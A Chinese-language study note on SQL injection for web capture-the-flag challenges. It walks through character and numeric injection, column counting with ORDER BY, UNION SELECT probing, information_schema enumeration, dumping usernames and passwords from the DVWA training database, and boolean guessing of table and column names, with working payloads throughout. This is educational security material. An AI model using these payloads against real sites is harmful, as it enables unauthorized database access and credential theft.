WEB-CTF中的SQL注入

—从零开始的笔记—

从最最基础的开始=.= start

SQL注入的基本原理

你提交的任何内容都会被服务器放入sql语句中执行,于是可以构筑自己的sql语句在服务器端执行。
当然以上所说的是在服务器完全没有防御的情况下,通常都不会这么简单,但是原理是相同。

SQL注入的分类

  • 根据注入点(既我们提交内容的位置)情况的不同分为两种:
    • 字符型注入: 提交的内容在服务端处左右会被加上’‘
    • 数字型注入: 提交的内容不会在服务端处加上’‘
      以上两种注入的区别在于:字符型注入需要用各种方法闭合单引号,屏蔽单引号等,而数字型注入不用,即数字型相对简单。
  • 根据对于注入结果服务端会显示给攻击者与否分两种:
    • 有回显的sql注入:有显示查询结果或错误信息
    • sql盲注:没有显示直接结果或错误。但仍然由办法提取信息,sql盲注较为复杂又分为布尔型盲注时间型盲注入
      • 布尔型盲注:返回状态只有两种情况,通常为有显示true和无显示false,借此来判断是否成功。
      • 时间型盲注:返回状态没有任何区别,若成功人为制造延迟时间延迟,以此来判断是否成功。
        此篇会详细介绍有回显的sql注入,sql盲注另开一篇

简单的了解数据库的结构

数据库 > 表 > 列
数据库中的库名,表名,列名等基本信息会存储在information_schema这个数据库中tables,columns的表内。

% 数据库
英文 schema table column
信息库中的列名 table_schema table_name column_name

字符型SQL注入的步骤

首先sql注入的核心就是去探测收集服务器的信息,再推测判断服务器sql语句的构成,再加以利用得到自己想要的数据即FLAG。

以下以最基础的字符型注入为例,为了方便理解,服务端的sql语句以下为例

1
selectfrom 数据库.表 where name='$name'

1.判断是否有SQL注入点

判断sql注入点:服务器会对我们除了正常输入以外的测试语句有反应

  • 报错
  • 可以影响到查询结果
1
2
3
4
5
$name= 1' and '1' = '1    (前后闭合’‘,此处应该返回正确的页面,即与$name=1一样)

$name= 1' and '1' = '2 (前后闭合’‘, 此处应该返回数据库错误的信息,即与$name=1不同)

全句:selectfromwhere name = '1' and '1'='1'

在确认有注入漏洞之后,探测sql语句组成

2.判断select语句中有几列

1
2
3
$name=1' order by 数字n --+  (--+ 为url编码后的 --(空格) 是注释符,用于屏蔽后面的‘)

全句:selectfromwhere name = '' order by 数字n -- ’

order by 列名 (列名可以为select语句中列的序号,name,age——->1,2)

因此数字从大往小猜,如果超出它的列数,则报错;如果恰好等于列数,显示$name=1的结果

假设结果 n=2 列

3.判断显示的信息是第几列的信息

一般在我们可见页面中显示的信息不一定是查询全部列数,可能查询3列,显示1列。
通过‘直接闭合前面的select语句,使其前半句查询结果空(除非存在name=’‘的情况)
union select 1,2 通过显示的数字来确定显示的列的位置

1
2
3
$name=' union select 1,2 --+

全句:select n列 fromwhere name = '' union select 1,2 -- '

假设得到 2 ,以后想要查询的信息就放在第二个列处

4.利用函数来收集信息

查询sql自带的函数来确定当前用户,当前数据库等信息

1
2
3
4
5
6
7
8
9
10
11
用户:user()
当前数据库:database()
数据库版本:version()
@@hostname (用户)
@@datadir (数据库在文件的位置)
@@version (版本)
@@version_compile_OS (操作系统版本)

$name=' union select 1,user() --+

全局:select 2fromwhere name = '' union select 1,user() -- '

如果为root用户,就可以访问information_schema数据库

n个月后,当我在配置mysql比赛环境的时候,第一次用到了除了ROOT用户以外的其他用户。
创建了一个新的用户,修改了它的权限。发现它竟然也可以直接访问information_schema表
三观崩坏的同时,去查了一波资料
mysql每个用户都可以访问information_schema,且没法设置不能访问,但是不用担心权限问题,因为information_schema里面的内容会根据用户权限而变化。即该用户只能从information_schema里面查询到自己有权限查看的库和表等
同时因为CTF题目而产生的美丽的误会,大致是因为题目单独对于information_schema进行了过滤,才访问不到的

所以,不要因为不是root账户,就不去尝试这个最省事的办法!
都需要先尝试访问information_schema!

5.通过 union 查询数据库

通过information_schema数据库中的tables,columns来查询目标的数据库,表,列
再直接查询内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
查询数据库
$name=' union select 1,table_schema from information_schema.tables --+

查询数据库中有多少个表
$name=' union select table_schema,count(*) from information_schema.tables --+

查询指定数据库中的表名
$name=' union select 1,table_name from information_schema.tables where table_schema='dvwa' --+

查询指定数据库指定表中的列名
$name=' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+

查询指定数据库指定表的列的内容
$name=' union select user,password from dvwa.users --+

查询链接显示
$name=' union select null,concat_ws(' : ',user,password) from dvwa.users --(空格)
$name=' union select null,concat(user,' : ',password) from dvwa.users --(空格)
ps. ':' 编码---> 0x3a

6.无法访问时,猜解列名,表名,库名

当无法访问information_schema库时
只能通过返回页面的两种状态判断是否猜解正确,其原理跟布尔型sql盲注一致

1
2
3
4
1.猜解当前表中的列名
$name=' and column is null --+

全句:select 2fromwhere name = '' and column is null -- '

用字典文件替换column,如果不存在此列,有错误;存在此列,无返回(类似来判断,下同)

1
2
3
4
5
6
7
8
2.猜解当前表名------已猜出列名
$name=' and table.user is null --+

3.猜解当前数据库名--已猜出列名,表名
$name=' and db.table.user is null --+

4.猜解当前数据库的其他表
$name=' and (select count(*) from table)>0 --+ (不能猜解其他数据库的库名,在前面自动添加了库名;count(*):所有查询结果的数量)

在猜解到你所要的库,表,列之后可以直接union select 查询

数字型SQL注入

数字型注入和字符型注入原理相同,但更为简单。

1
$name=1 and 1=1 #

区别:

  • 不用考虑 ’ 闭合问题
  • 输入字符’a’时 把需要的字符串变为Ox16进制

小结

以上就可以通过sql注入漏洞,查询到数据库的信息。
另外,还可以通过数据库进行—->sql文件操作
但是实际情况下:
服务器会过滤限制我们的输入,这就关系到—->sql过滤
服务器不显示查询信息和错误信息,需要—->sql盲注

数据库函数

  • char()—-> ASCII码 变为 字符
  • concat() 和 group_concat —–> 用分隔符链接字符串;可以多个结果合并提高效率
  • substring()等 —–> 分割字符串提取自己想要查看的
  • mid(String,n,n)——>截取字符串
  • ord() ——->字符变为ASCII码, 一个字节字符直接变ASCII,多字节字符相连ASCII
    ord() & 128 或 64 或 32 或 16 或 8 ……1 来判断分割多个字符
  • and 前面语句出错后面语句不执行
  • or 前面语句正确后面语句不执行